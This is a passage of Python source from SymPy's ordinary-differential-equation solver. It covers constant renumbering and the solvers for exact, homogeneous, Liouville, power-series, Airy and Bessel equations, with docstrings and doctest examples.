rexpr = rexpr.subs(*s) expr = rexpr except IndexError: pass expr = __remove_linear_redundancies(expr, Cs) def _conditional_term_factoring(expr): new_expr = terms_gcd(expr, clear=False, deep=True, expand=False) # we do not want to factor exponentials, so handle this separately if new_expr.is_Mul: infac = False asfac = False for m in new_expr.args: if isinstance(m, exp): asfac = True elif m.is_Add: infac = any(isinstance(fi, exp) for t in m.args for fi in Mul.make_args(t)) if asfac and infac: new_expr = expr break return new_expr expr = _conditional_term_factoring(expr) # call recursively if more simplification is possible if orig_expr != expr: return constantsimp(expr, Cs) return expr def constant_renumber(expr, variables=None, newconstants=None): r""" Renumber arbitrary constants in ``expr`` to use the symbol names as given in ``newconstants``. In the process, this reorders expression terms in a standard way. If ``newconstants`` is not provided then the new constant names will be ``C1``, ``C2`` etc. Otherwise ``newconstants`` should be an iterable giving the new symbols to use for the constants in order. The ``variables`` argument is a list of non-constant symbols. All other free symbols found in ``expr`` are assumed to be constants and will be renumbered. If ``variables`` is not given then any numbered symbol beginning with ``C`` (e.g. ``C1``) is assumed to be a constant. Symbols are renumbered based on ``.sort_key()``, so they should be numbered roughly in the order that they appear in the final, printed expression. Note that this ordering is based in part on hashes, so it can produce different results on different machines. The structure of this function is very similar to that of :py:meth:`~sympy.solvers.ode.constantsimp`. Examples ======== >>> from sympy import symbols >>> from sympy.solvers.ode.ode import constant_renumber >>> x, C1, C2, C3 = symbols('x,C1:4') >>> expr = C3 + C2*x + C1*x**2 >>> expr C1*x**2 + C2*x + C3 >>> constant_renumber(expr) C1 + C2*x + C3*x**2 The ``variables`` argument specifies which are constants so that the other symbols will not be renumbered: >>> constant_renumber(expr, [C1, x]) C1*x**2 + C2 + C3*x The ``newconstants`` argument is used to specify what symbols to use when replacing the constants: >>> constant_renumber(expr, [x], newconstants=symbols('E1:4')) E1 + E2*x + E3*x**2 """ # System of expressions if isinstance(expr, (set, list, tuple)): return type(expr)(constant_renumber(Tuple(*expr), variables=variables, newconstants=newconstants)) # Symbols in solution but not ODE are constants if variables is not None: variables = set(variables) free_symbols = expr.free_symbols constantsymbols = list(free_symbols - variables) # Any Cn is a constant... else: variables = set() isconstant = lambda s: s.startswith('C') and s[1:].isdigit() constantsymbols = [sym for sym in expr.free_symbols if isconstant(sym.name)] # Find new constants checking that they aren't already in the ODE if newconstants is None: iter_constants = numbered_symbols(start=1, prefix='C', exclude=variables) else: iter_constants = (sym for sym in newconstants if sym not in variables) constants_found = [] # make a mapping to send all constantsymbols to S.One and use # that to make sure that term ordering is not dependent on # the indexed value of C C_1 = [(ci, S.One) for ci in constantsymbols] sort_key=lambda arg: default_sort_key(arg.subs(C_1)) def _constant_renumber(expr): r""" We need to have an internal recursive function """ # For system of expressions if isinstance(expr, Tuple): renumbered = [_constant_renumber(e) for e in expr] return Tuple(*renumbered) if isinstance(expr, Equality): return Eq( _constant_renumber(expr.lhs), _constant_renumber(expr.rhs)) if type(expr) not in (Mul, Add, Pow) and not expr.is_Function and \ not expr.has(*constantsymbols): # Base case, as above. Hope there aren't constants inside # of some other class, because they won't be renumbered. return expr elif expr.is_Piecewise: return expr elif expr in constantsymbols: if expr not in constants_found: constants_found.append(expr) return expr elif expr.is_Function or expr.is_Pow: return expr.func( *[_constant_renumber(x) for x in expr.args]) else: sortedargs = list(expr.args) sortedargs.sort(key=sort_key) return expr.func(*[_constant_renumber(x) for x in sortedargs]) expr = _constant_renumber(expr) # Don't renumber symbols present in the ODE. constants_found = [c for c in constants_found if c not in variables] # Renumbering happens here subs_dict = {var: cons for var, cons in zip(constants_found, iter_constants)} expr = expr.subs(subs_dict, simultaneous=True) return expr def _handle_Integral(expr, func, hint): r""" Converts a solution with Integrals in it into an actual solution. For most hints, this simply runs ``expr.doit()``. """ # XXX: This global y hack should be removed global y x = func.args[0] f = func.func if hint == "1st_exact": sol = (expr.doit()).subs(y, f(x)) del y elif hint == "1st_exact_Integral": sol = Eq(Subs(expr.lhs, y, f(x)), expr.rhs) del y elif hint == "nth_linear_constant_coeff_homogeneous": sol = expr elif not hint.endswith("_Integral"): sol = expr.doit() else: sol = expr return sol # FIXME: replace the general solution in the docstring with # dsolve(equation, hint='1st_exact_Integral'). You will need to be able # to have assumptions on P and Q that dP/dy = dQ/dx. def ode_1st_exact(eq, func, order, match): r""" Solves 1st order exact ordinary differential equations. A 1st order differential equation is called exact if it is the total differential of a function. That is, the differential equation .. math:: P(x, y) \,\partial{}x + Q(x, y) \,\partial{}y = 0 is exact if there is some function `F(x, y)` such that `P(x, y) = \partial{}F/\partial{}x` and `Q(x, y) = \partial{}F/\partial{}y`. It can be shown that a necessary and sufficient condition for a first order ODE to be exact is that `\partial{}P/\partial{}y = \partial{}Q/\partial{}x`. Then, the solution will be as given below:: >>> from sympy import Function, Eq, Integral, symbols, pprint >>> x, y, t, x0, y0, C1= symbols('x,y,t,x0,y0,C1') >>> P, Q, F= map(Function, ['P', 'Q', 'F']) >>> pprint(Eq(Eq(F(x, y), Integral(P(t, y), (t, x0, x)) + ... Integral(Q(x0, t), (t, y0, y))), C1)) x y / / | | F(x, y) = | P(t, y) dt + | Q(x0, t) dt = C1 | | / / x0 y0 Where the first partials of `P` and `Q` exist and are continuous in a simply connected region. A note: SymPy currently has no way to represent inert substitution on an expression, so the hint ``1st_exact_Integral`` will return an integral with `dy`. This is supposed to represent the function that you are solving for. Examples ======== >>> from sympy import Function, dsolve, cos, sin >>> from sympy.abc import x >>> f = Function('f') >>> dsolve(cos(f(x)) - (x*sin(f(x)) - f(x)**2)*f(x).diff(x), ... f(x), hint='1st_exact') Eq(x*cos(f(x)) + f(x)**3/3, C1) References ========== - https://en.wikipedia.org/wiki/Exact_differential_equation - M. Tenenbaum & H. Pollard, "Ordinary Differential Equations", Dover 1963, pp. 73 # indirect doctest """ x = func.args[0] r = match # d+e*diff(f(x),x) e = r[r['e']] d = r[r['d']] # XXX: This global y hack should be removed global y # This is the only way to pass dummy y to _handle_Integral y = r['y'] C1 = get_numbered_constants(eq, num=1) # Refer Joel Moses, "Symbolic Integration - The Stormy Decade", # Communications of the ACM, Volume 14, Number 8, August 1971, pp. 558 # which gives the method to solve an exact differential equation. sol = Integral(d, x) + Integral((e - (Integral(d, x).diff(y))), y) return Eq(sol, C1) def ode_1st_homogeneous_coeff_best(eq, func, order, match): r""" Returns the best solution to an ODE from the two hints ``1st_homogeneous_coeff_subs_dep_div_indep`` and ``1st_homogeneous_coeff_subs_indep_div_dep``. This is as determined by :py:meth:`~sympy.solvers.ode.ode.ode_sol_simplicity`. See the :py:meth:`~sympy.solvers.ode.ode.ode_1st_homogeneous_coeff_subs_indep_div_dep` and :py:meth:`~sympy.solvers.ode.ode.ode_1st_homogeneous_coeff_subs_dep_div_indep` docstrings for more information on these hints. Note that there is no ``ode_1st_homogeneous_coeff_best_Integral`` hint. Examples ======== >>> from sympy import Function, dsolve, pprint >>> from sympy.abc import x >>> f = Function('f') >>> pprint(dsolve(2*x*f(x) + (x**2 + f(x)**2)*f(x).diff(x), f(x), ... hint='1st_homogeneous_coeff_best', simplify=False)) / 2 \ | 3*x | log|----- + 1| | 2 | \f (x) / log(f(x)) = log(C1) - -------------- 3 References ========== - https://en.wikipedia.org/wiki/Homogeneous_differential_equation - M. Tenenbaum & H. Pollard, "Ordinary Differential Equations", Dover 1963, pp. 59 # indirect doctest """ # There are two substitutions that solve the equation, u1=y/x and u2=x/y # They produce different integrals, so try them both and see which # one is easier. sol1 = ode_1st_homogeneous_coeff_subs_indep_div_dep(eq, func, order, match) sol2 = ode_1st_homogeneous_coeff_subs_dep_div_indep(eq, func, order, match) simplify = match.get('simplify', True) if simplify: # why is odesimp called here? Should it be at the usual spot? sol1 = odesimp(eq, sol1, func, "1st_homogeneous_coeff_subs_indep_div_dep") sol2 = odesimp(eq, sol2, func, "1st_homogeneous_coeff_subs_dep_div_indep") return min([sol1, sol2], key=lambda x: ode_sol_simplicity(x, func, trysolving=not simplify)) def ode_1st_homogeneous_coeff_subs_dep_div_indep(eq, func, order, match): r""" Solves a 1st order differential equation with homogeneous coefficients using the substitution `u_1 = \frac{\text{<dependent variable>}}{\text{<independent variable>}}`. This is a differential equation .. math:: P(x, y) + Q(x, y) dy/dx = 0 such that `P` and `Q` are homogeneous and of the same order. A function `F(x, y)` is homogeneous of order `n` if `F(x t, y t) = t^n F(x, y)`. Equivalently, `F(x, y)` can be rewritten as `G(y/x)` or `H(x/y)`. See also the docstring of :py:meth:`~sympy.solvers.ode.homogeneous_order`. If the coefficients `P` and `Q` in the differential equation above are homogeneous functions of the same order, then it can be shown that the substitution `y = u_1 x` (i.e. `u_1 = y/x`) will turn the differential equation into an equation separable in the variables `x` and `u`. If `h(u_1)` is the function that results from making the substitution `u_1 = f(x)/x` on `P(x, f(x))` and `g(u_2)` is the function that results from the substitution on `Q(x, f(x))` in the differential equation `P(x, f(x)) + Q(x, f(x)) f'(x) = 0`, then the general solution is:: >>> from sympy import Function, dsolve, pprint >>> from sympy.abc import x >>> f, g, h = map(Function, ['f', 'g', 'h']) >>> genform = g(f(x)/x) + h(f(x)/x)*f(x).diff(x) >>> pprint(genform) /f(x)\ /f(x)\ d g|----| + h|----|*--(f(x)) \ x / \ x / dx >>> pprint(dsolve(genform, f(x), ... hint='1st_homogeneous_coeff_subs_dep_div_indep_Integral')) f(x) ---- x / | | -h(u1) log(x) = C1 + | ---------------- d(u1) | u1*h(u1) + g(u1) | / Where `u_1 h(u_1) + g(u_1) \ne 0` and `x \ne 0`. See also the docstrings of :py:meth:`~sympy.solvers.ode.ode.ode_1st_homogeneous_coeff_best` and :py:meth:`~sympy.solvers.ode.ode.ode_1st_homogeneous_coeff_subs_indep_div_dep`. Examples ======== >>> from sympy import Function, dsolve >>> from sympy.abc import x >>> f = Function('f') >>> pprint(dsolve(2*x*f(x) + (x**2 + f(x)**2)*f(x).diff(x), f(x), ... hint='1st_homogeneous_coeff_subs_dep_div_indep', simplify=False)) / 3 \ |3*f(x) f (x)| log|------ + -----| | x 3 | \ x / log(x) = log(C1) - ------------------- 3 References ========== - https://en.wikipedia.org/wiki/Homogeneous_differential_equation - M. Tenenbaum & H. Pollard, "Ordinary Differential Equations", Dover 1963, pp. 59 # indirect doctest """ x = func.args[0] f = func.func u = Dummy('u') u1 = Dummy('u1') # u1 == f(x)/x r = match # d+e*diff(f(x),x) C1 = get_numbered_constants(eq, num=1) xarg = match.get('xarg', 0) yarg = match.get('yarg', 0) int = Integral( (-r[r['e']]/(r[r['d']] + u1*r[r['e']])).subs({x: 1, r['y']: u1}), (u1, None, f(x)/x)) sol = logcombine(Eq(log(x), int + log(C1)), force=True) sol = sol.subs(f(x), u).subs(((u, u - yarg), (x, x - xarg), (u, f(x)))) return sol def ode_1st_homogeneous_coeff_subs_indep_div_dep(eq, func, order, match): r""" Solves a 1st order differential equation with homogeneous coefficients using the substitution `u_2 = \frac{\text{<independent variable>}}{\text{<dependent variable>}}`. This is a differential equation .. math:: P(x, y) + Q(x, y) dy/dx = 0 such that `P` and `Q` are homogeneous and of the same order. A function `F(x, y)` is homogeneous of order `n` if `F(x t, y t) = t^n F(x, y)`. Equivalently, `F(x, y)` can be rewritten as `G(y/x)` or `H(x/y)`. See also the docstring of :py:meth:`~sympy.solvers.ode.homogeneous_order`. If the coefficients `P` and `Q` in the differential equation above are homogeneous functions of the same order, then it can be shown that the substitution `x = u_2 y` (i.e. `u_2 = x/y`) will turn the differential equation into an equation separable in the variables `y` and `u_2`. If `h(u_2)` is the function that results from making the substitution `u_2 = x/f(x)` on `P(x, f(x))` and `g(u_2)` is the function that results from the substitution on `Q(x, f(x))` in the differential equation `P(x, f(x)) + Q(x, f(x)) f'(x) = 0`, then the general solution is: >>> from sympy import Function, dsolve, pprint >>> from sympy.abc import x >>> f, g, h = map(Function, ['f', 'g', 'h']) >>> genform = g(x/f(x)) + h(x/f(x))*f(x).diff(x) >>> pprint(genform) / x \ / x \ d g|----| + h|----|*--(f(x)) \f(x)/ \f(x)/ dx >>> pprint(dsolve(genform, f(x), ... hint='1st_homogeneous_coeff_subs_indep_div_dep_Integral')) x ---- f(x) / | | -g(u2) | ---------------- d(u2) | u2*g(u2) + h(u2) | / <BLANKLINE> f(x) = C1*e Where `u_2 g(u_2) + h(u_2) \ne 0` and `f(x) \ne 0`. See also the docstrings of :py:meth:`~sympy.solvers.ode.ode.ode_1st_homogeneous_coeff_best` and :py:meth:`~sympy.solvers.ode.ode.ode_1st_homogeneous_coeff_subs_dep_div_indep`. Examples ======== >>> from sympy import Function, pprint, dsolve >>> from sympy.abc import x >>> f = Function('f') >>> pprint(dsolve(2*x*f(x) + (x**2 + f(x)**2)*f(x).diff(x), f(x), ... hint='1st_homogeneous_coeff_subs_indep_div_dep', ... simplify=False)) / 2 \ | 3*x | log|----- + 1| | 2 | \f (x) / log(f(x)) = log(C1) - -------------- 3 References ========== - https://en.wikipedia.org/wiki/Homogeneous_differential_equation - M. Tenenbaum & H. Pollard, "Ordinary Differential Equations", Dover 1963, pp. 59 # indirect doctest """ x = func.args[0] f = func.func u = Dummy('u') u2 = Dummy('u2') # u2 == x/f(x) r = match # d+e*diff(f(x),x) C1 = get_numbered_constants(eq, num=1) xarg = match.get('xarg', 0) # If xarg present take xarg, else zero yarg = match.get('yarg', 0) # If yarg present take yarg, else zero int = Integral( simplify( (-r[r['d']]/(r[r['e']] + u2*r[r['d']])).subs({x: u2, r['y']: 1})), (u2, None, x/f(x))) sol = logcombine(Eq(log(f(x)), int + log(C1)), force=True) sol = sol.subs(f(x), u).subs(((u, u - yarg), (x, x - xarg), (u, f(x)))) return sol # XXX: Should this function maybe go somewhere else? def homogeneous_order(eq, *symbols): r""" Returns the order `n` if `g` is homogeneous and ``None`` if it is not homogeneous. Determines if a function is homogeneous and if so of what order. A function `f(x, y, \cdots)` is homogeneous of order `n` if `f(t x, t y, \cdots) = t^n f(x, y, \cdots)`. If the function is of two variables, `F(x, y)`, then `f` being homogeneous of any order is equivalent to being able to rewrite `F(x, y)` as `G(x/y)` or `H(y/x)`. This fact is used to solve 1st order ordinary differential equations whose coefficients are homogeneous of the same order (see the docstrings of :py:meth:`~sympy.solvers.ode.ode.ode_1st_homogeneous_coeff_subs_dep_div_indep` and :py:meth:`~sympy.solvers.ode.ode.ode_1st_homogeneous_coeff_subs_indep_div_dep`). Symbols can be functions, but every argument of the function must be a symbol, and the arguments of the function that appear in the expression must match those given in the list of symbols. If a declared function appears with different arguments than given in the list of symbols, ``None`` is returned. Examples ======== >>> from sympy import Function, homogeneous_order, sqrt >>> from sympy.abc import x, y >>> f = Function('f') >>> homogeneous_order(f(x), f(x)) is None True >>> homogeneous_order(f(x,y), f(y, x), x, y) is None True >>> homogeneous_order(f(x), f(x), x) 1 >>> homogeneous_order(x**2*f(x)/sqrt(x**2+f(x)**2), x, f(x)) 2 >>> homogeneous_order(x**2+f(x), x, f(x)) is None True """ if not symbols: raise ValueError("homogeneous_order: no symbols were given.") symset = set(symbols) eq = sympify(eq) # The following are not supported if eq.has(Order, Derivative): return None # These are all constants if (eq.is_Number or eq.is_NumberSymbol or eq.is_number ): return S.Zero # Replace all functions with dummy variables dum = numbered_symbols(prefix='d', cls=Dummy) newsyms = set() for i in [j for j in symset if getattr(j, 'is_Function')]: iargs = set(i.args) if iargs.difference(symset): return None else: dummyvar = next(dum) eq = eq.subs(i, dummyvar) symset.remove(i) newsyms.add(dummyvar) symset.update(newsyms) if not eq.free_symbols & symset: return None # assuming order of a nested function can only be equal to zero if isinstance(eq, Function): return None if homogeneous_order( eq.args[0], *tuple(symset)) != 0 else S.Zero # make the replacement of x with x*t and see if t can be factored out t = Dummy('t', positive=True) # It is sufficient that t > 0 eqs = separatevars(eq.subs([(i, t*i) for i in symset]), [t], dict=True)[t] if eqs is S.One: return S.Zero # there was no term with only t i, d = eqs.as_independent(t, as_Add=False) b, e = d.as_base_exp() if b == t: return e def ode_Liouville(eq, func, order, match): r""" Solves 2nd order Liouville differential equations. The general form of a Liouville ODE is .. math:: \frac{d^2 y}{dx^2} + g(y) \left(\! \frac{dy}{dx}\!\right)^2 + h(x) \frac{dy}{dx}\text{.} The general solution is: >>> from sympy import Function, dsolve, Eq, pprint, diff >>> from sympy.abc import x >>> f, g, h = map(Function, ['f', 'g', 'h']) >>> genform = Eq(diff(f(x),x,x) + g(f(x))*diff(f(x),x)**2 + ... h(x)*diff(f(x),x), 0) >>> pprint(genform) 2 2 /d \ d d g(f(x))*|--(f(x))| + h(x)*--(f(x)) + ---(f(x)) = 0 \dx / dx 2 dx >>> pprint(dsolve(genform, f(x), hint='Liouville_Integral')) f(x) / / | | | / | / | | | | | - | h(x) dx | | g(y) dy | | | | | / | / C1 + C2* | e dx + | e dy = 0 | | / / Examples ======== >>> from sympy import Function, dsolve, Eq, pprint >>> from sympy.abc import x >>> f = Function('f') >>> pprint(dsolve(diff(f(x), x, x) + diff(f(x), x)**2/f(x) + ... diff(f(x), x)/x, f(x), hint='Liouville')) ________________ ________________ [f(x) = -\/ C1 + C2*log(x) , f(x) = \/ C1 + C2*log(x) ] References ========== - Goldstein and Braun, "Advanced Methods for the Solution of Differential Equations", pp. 98 - http://www.maplesoft.com/support/help/Maple/view.aspx?path=odeadvisor/Liouville # indirect doctest """ # Liouville ODE: # f(x).diff(x, 2) + g(f(x))*(f(x).diff(x, 2))**2 + h(x)*f(x).diff(x) # See Goldstein and Braun, "Advanced Methods for the Solution of # Differential Equations", pg. 98, as well as # http://www.maplesoft.com/support/help/view.aspx?path=odeadvisor/Liouville x = func.args[0] f = func.func r = match # f(x).diff(x, 2) + g*f(x).diff(x)**2 + h*f(x).diff(x) y = r['y'] C1, C2 = get_numbered_constants(eq, num=2) int = Integral(exp(Integral(r['g'], y)), (y, None, f(x))) sol = Eq(int + C1*Integral(exp(-Integral(r['h'], x)), x) + C2, 0) return sol def ode_2nd_power_series_ordinary(eq, func, order, match): r""" Gives a power series solution to a second order homogeneous differential equation with polynomial coefficients at an ordinary point. A homogeneous differential equation is of the form .. math :: P(x)\frac{d^2y}{dx^2} + Q(x)\frac{dy}{dx} + R(x) = 0 For simplicity it is assumed that `P(x)`, `Q(x)` and `R(x)` are polynomials, it is sufficient that `\frac{Q(x)}{P(x)}` and `\frac{R(x)}{P(x)}` exists at `x_{0}`. A recurrence relation is obtained by substituting `y` as `\sum_{n=0}^\infty a_{n}x^{n}`, in the differential equation, and equating the nth term. Using this relation various terms can be generated. Examples ======== >>> from sympy import dsolve, Function, pprint >>> from sympy.abc import x >>> f = Function("f") >>> eq = f(x).diff(x, 2) + f(x) >>> pprint(dsolve(eq, hint='2nd_power_series_ordinary')) / 4 2 \ / 2\ |x x | | x | / 6\ f(x) = C2*|-- - -- + 1| + C1*x*|1 - --| + O\x / \24 2 / \ 6 / References ========== - http://tutorial.math.lamar.edu/Classes/DE/SeriesSolutions.aspx - George E. Simmons, "Differential Equations with Applications and Historical Notes", p.p 176 - 184 """ x = func.args[0] f = func.func C0, C1 = get_numbered_constants(eq, num=2) n = Dummy("n", integer=True) s = Wild("s") k = Wild("k", exclude=[x]) x0 = match.get('x0') terms = match.get('terms', 5) p = match[match['a3']] q = match[match['b3']] r = match[match['c3']] seriesdict = {} recurr = Function("r") # Generating the recurrence relation which works this way: # for the second order term the summation begins at n = 2. The coefficients # p is multiplied with an*(n - 1)*(n - 2)*x**n-2 and a substitution is made such that # the exponent of x becomes n. # For example, if p is x, then the second degree recurrence term is # an*(n - 1)*(n - 2)*x**n-1, substituting (n - 1) as n, it transforms to # an+1*n*(n - 1)*x**n. # A similar process is done with the first order and zeroth order term. coefflist = [(recurr(n), r), (n*recurr(n), q), (n*(n - 1)*recurr(n), p)] for index, coeff in enumerate(coefflist): if coeff[1]: f2 = powsimp(expand((coeff[1]*(x - x0)**(n - index)).subs(x, x + x0))) if f2.is_Add: addargs = f2.args else: addargs = [f2] for arg in addargs: powm = arg.match(s*x**k) term = coeff[0]*powm[s] if not powm[k].is_Symbol: term = term.subs(n, n - powm[k].as_independent(n)[0]) startind = powm[k].subs(n, index) # Seeing if the startterm can be reduced further. # If it vanishes for n lesser than startind, it is # equal to summation from n. if startind: for i in reversed(range(startind)): if not term.subs(n, i): seriesdict[term] = i else: seriesdict[term] = i + 1 break else: seriesdict[term] = S.Zero # Stripping of terms so that the sum starts with the same number. teq = S.Zero suminit = seriesdict.values() rkeys = seriesdict.keys() req = Add(*rkeys) if any(suminit): maxval = max(suminit) for term in seriesdict: val = seriesdict[term] if val != maxval: for i in range(val, maxval): teq += term.subs(n, val) finaldict = {} if teq: fargs = teq.atoms(AppliedUndef) if len(fargs) == 1: finaldict[fargs.pop()] = 0 else: maxf = max(fargs, key = lambda x: x.args[0]) sol = solve(teq, maxf) if isinstance(sol, list): sol = sol[0] finaldict[maxf] = sol # Finding the recurrence relation in terms of the largest term. fargs = req.atoms(AppliedUndef) maxf = max(fargs, key = lambda x: x.args[0]) minf = min(fargs, key = lambda x: x.args[0]) if minf.args[0].is_Symbol: startiter = 0 else: startiter = -minf.args[0].as_independent(n)[0] lhs = maxf rhs = solve(req, maxf) if isinstance(rhs, list): rhs = rhs[0] # Checking how many values are already present tcounter = len([t for t in finaldict.values() if t]) for _ in range(tcounter, terms - 3): # Assuming c0 and c1 to be arbitrary check = rhs.subs(n, startiter) nlhs = lhs.subs(n, startiter) nrhs = check.subs(finaldict) finaldict[nlhs] = nrhs startiter += 1 # Post processing series = C0 + C1*(x - x0) for term in finaldict: if finaldict[term]: fact = term.args[0] series += (finaldict[term].subs([(recurr(0), C0), (recurr(1), C1)])*( x - x0)**fact) series = collect(expand_mul(series), [C0, C1]) + Order(x**terms) return Eq(f(x), series) def ode_2nd_linear_airy(eq, func, order, match): r""" Gives solution of the Airy differential equation .. math :: \frac{d^2y}{dx^2} + (a + b x) y(x) = 0 in terms of Airy special functions airyai and airybi. Examples ======== >>> from sympy import dsolve, Function >>> from sympy.abc import x >>> f = Function("f") >>> eq = f(x).diff(x, 2) - x*f(x) >>> dsolve(eq) Eq(f(x), C1*airyai(x) + C2*airybi(x)) """ x = func.args[0] f = func.func C0, C1 = get_numbered_constants(eq, num=2) b = match['b'] m = match['m'] if m.is_positive: arg = - b/cbrt(m)**2 - cbrt(m)*x elif m.is_negative: arg = - b/cbrt(-m)**2 + cbrt(-m)*x else: arg = - b/cbrt(-m)**2 + cbrt(-m)*x return Eq(f(x), C0*airyai(arg) + C1*airybi(arg)) def ode_2nd_power_series_regular(eq, func, order, match): r""" Gives a power series solution to a second order homogeneous differential equation with polynomial coefficients at a regular point. A second order homogeneous differential equation is of the form .. math :: P(x)\frac{d^2y}{dx^2} + Q(x)\frac{dy}{dx} + R(x) = 0 A point is said to regular singular at `x0` if `x - x0\frac{Q(x)}{P(x)}` and `(x - x0)^{2}\frac{R(x)}{P(x)}` are analytic at `x0`. For simplicity `P(x)`, `Q(x)` and `R(x)` are assumed to be polynomials. The algorithm for finding the power series solutions is: 1. Try expressing `(x - x0)P(x)` and `((x - x0)^{2})Q(x)` as power series solutions about x0. Find `p0` and `q0` which are the constants of the power series expansions. 2. Solve the indicial equation `f(m) = m(m - 1) + m*p0 + q0`, to obtain the roots `m1` and `m2` of the indicial equation. 3. If `m1 - m2` is a non integer there exists two series solutions. If `m1 = m2`, there exists only one solution. If `m1 - m2` is an integer, then the existence of one solution is confirmed. The other solution may or may not exist. The power series solution is of the form `x^{m}\sum_{n=0}^\infty a_{n}x^{n}`. The coefficients are determined by the following recurrence relation. `a_{n} = -\frac{\sum_{k=0}^{n-1} q_{n-k} + (m + k)p_{n-k}}{f(m + n)}`. For the case in which `m1 - m2` is an integer, it can be seen from the recurrence relation that for the lower root `m`, when `n` equals the difference of both the roots, the denominator becomes zero. So if the numerator is not equal to zero, a second series solution exists. Examples ======== >>> from sympy import dsolve, Function, pprint >>> from sympy.abc import x >>> f = Function("f") >>> eq = x*(f(x).diff(x, 2)) + 2*(f(x).diff(x)) + x*f(x) >>> pprint(dsolve(eq, hint='2nd_power_series_regular')) / 6 4 2 \ | x x x | / 4 2 \ C1*|- --- + -- - -- + 1| | x x | \ 720 24 2 / / 6\ f(x) = C2*|--- - -- + 1| + ------------------------ + O\x / \120 6 / x References ========== - George E. Simmons, "Differential Equations with Applications and Historical Notes", p.p 176 - 184 """ x = func.args[0] f = func.func C0, C1 = get_numbered_constants(eq, num=2) m = Dummy("m") # for solving the indicial equation x0 = match.get('x0') terms = match.get('terms', 5) p = match['p'] q = match['q'] # Generating the indicial equation indicial = [] for term in [p, q]: if not term.has(x): indicial.append(term) else: term = series(term, n=1, x0=x0) if isinstance(term, Order): indicial.append(S.Zero) else: for arg in term.args: if not arg.has(x): indicial.append(arg) break p0, q0 = indicial sollist = solve(m*(m - 1) + m*p0 + q0, m) if sollist and isinstance(sollist, list) and all( [sol.is_real for sol in sollist]): serdict1 = {} serdict2 = {} if len(sollist) == 1: # Only one series solution exists in this case. m1 = m2 = sollist.pop() if terms-m1-1 <= 0: return Eq(f(x), Order(terms)) serdict1 = _frobenius(terms-m1-1, m1, p0, q0, p, q, x0, x, C0) else: m1 = sollist[0] m2 = sollist[1] if m1 < m2: m1, m2 = m2, m1 # Irrespective of whether m1 - m2 is an integer or not, one # Frobenius series solution exists. serdict1 = _frobenius(terms-m1-1, m1, p0, q0, p, q, x0, x, C0) if not (m1 - m2).is_integer: # Second frobenius series solution exists. serdict2 = _frobenius(terms-m2-1, m2, p0, q0, p, q, x0, x, C1) else: # Check if second frobenius series solution exists. serdict2 = _frobenius(terms-m2-1, m2, p0, q0, p, q, x0, x, C1, check=m1) if serdict1: finalseries1 = C0 for key in serdict1: power = int(key.name[1:]) finalseries1 += serdict1[key]*(x - x0)**power finalseries1 = (x - x0)**m1*finalseries1 finalseries2 = S.Zero if serdict2: for key in serdict2: power = int(key.name[1:]) finalseries2 += serdict2[key]*(x - x0)**power finalseries2 += C1 finalseries2 = (x - x0)**m2*finalseries2 return Eq(f(x), collect(finalseries1 + finalseries2, [C0, C1]) + Order(x**terms)) def ode_2nd_linear_bessel(eq, func, order, match): r""" Gives solution of the Bessel differential equation .. math :: x^2 \frac{d^2y}{dx^2} + x \frac{dy}{dx} y(x) + (x^2-n^2) y(x) if n is integer then the solution is of the form Eq(f(x), C0 besselj(n,x) + C1 bessely(n,x)) as both the solutions are linearly independent else if n is a fraction then the solution is of the form Eq(f(x), C0 besselj(n,x) + C1 besselj(-n,x)) which can also transform into Eq(f(x), C0 besselj(n,x) + C1 bessely(n,x)). Examples ======== >>> from sympy.abc import x >>> from sympy import Symbol >>> v = Symbol('v', positive=True) >>> from sympy.solvers.ode import dsolve >>> from sympy import Function >>> f = Function('f') >>> y = f(x) >>> genform = x**2*y.diff(x, 2) + x*y.diff(x) + (x**2 - v**2)*y >>> dsolve(genform) Eq(f(x), C1*besselj(v, x) + C2*bessely(v, x)) References ========== https://www.math24.net/bessel-differential-equation/ """ x = func.args[0] f = func.func C0, C1 = get_numbered_constants(eq, num=2) n = match['n'] a4 = match['a4'] c4 = match['c4'] d4 = match['d4'] b4 = match['b4'] n = sqrt(n**2 + Rational(1, 4)*(c4 - 1)**2) return Eq(f(x), ((x**(Rational(1-c4,2)))*(C0*besselj(n/d4,a4*x**d4/d4) + C1*bessely(n/d4,a4*x**d4/d4))).subs(x, x-b4)) def _frobenius(n, m, p0, q0, p, q, x0, x, c, check=None): r""" Returns a dict with keys as coefficients and values as their values in terms of C0 """ n = int(n) # In cases where m1 - m2 is not an integer m2 = check d = Dummy("d") numsyms = numbered_symbols("C", start=0) numsyms = [next(numsyms) for i in range(n + 1)] serlist = [] for ser in [p, q]: # Order term not present if ser.is_polynomial(x) and Poly(ser, x).degree() <= n: if x0: ser = ser.subs(x, x + x0) dict_ = Poly(ser, x).as_dict() # Order term present else: tseries = series(ser, x=x0, n=n+1) # Removing order dict_ = Poly(list(ordered(tseries.args))[: -1], x).as_dict() # Fill in with zeros, if coefficients are zero. for i in range(n + 1): if (i,) not in dict_: dict_[(i,)] = S.Zero serlist.append(dict_) pseries = serlist[0] qseries = serlist[1] indicial = d*(d - 1) + d*p0 + q0 frobdict = {} for i in range(1, n + 1): num = c*(m*pseries[(i,)] + qseries[(i,)]) for j in range(1, i): sym = Symbol("C" + str(j)) num += frobdict[sym]*((m + j)*pseries[(i - j,)] + qseries[(i - j,)]) # Checking for cases when m1 - m2 is an integer. If num equals zero # then a second Frobenius series solution cannot be found. If num is not zero # then set constant as zero and proceed. if m2 is not None and i == m2 - m: if num: return False else: frobdict[numsyms[i]] = S.Zero else: frobdict[numsyms[i]] = -num/(indicial.subs(d, m+i)) return frobdict def _nth_order_reducible_match(eq, func): r""" Matches any differential equation that can be rewritten with a smaller order. Only derivatives of ``func`` alone, wrt a single variable, are considered, and only in them should ``func`` appear. """ # ODE only handles functions of 1 variable so this affirms that state assert len(func.args) == 1 x = func.args[0] vc = [d.variable_count[0] for d in eq.atoms(Derivative) if d.expr == func and len(d.variable_count) == 1] ords = [c for v, c in vc if v == x] if len(ords) < 2: return smallest = min(ords) # make sure func does not appear outside of derivatives D = Dummy() if eq.subs(func.diff(x, smallest), D).has(func): return return {'n': smallest} def ode_nth_order_reducible(eq, func, order, match): r""" Solves ODEs that only involve derivatives of the dependent variable using a substitution of the form `f^n(x) = g(x)`. For example any second order ODE of the form `f''(x) = h(f'(x), x)` can be transformed into a pair of 1st order ODEs `g'(x) = h(g(x), x)` and `f'(x) = g(x)`. Usually the 1st order ODE for `g` is easier to solve. If that gives an explicit solution for `g` then `f` is found simply by integration. Examples ======== >>> from sympy import Function, dsolve, Eq >>> from sympy.abc import x >>> f = Function('f') >>> eq = Eq(x*f(x).diff(x)**2 + f(x).diff(x, 2), 0) >>> 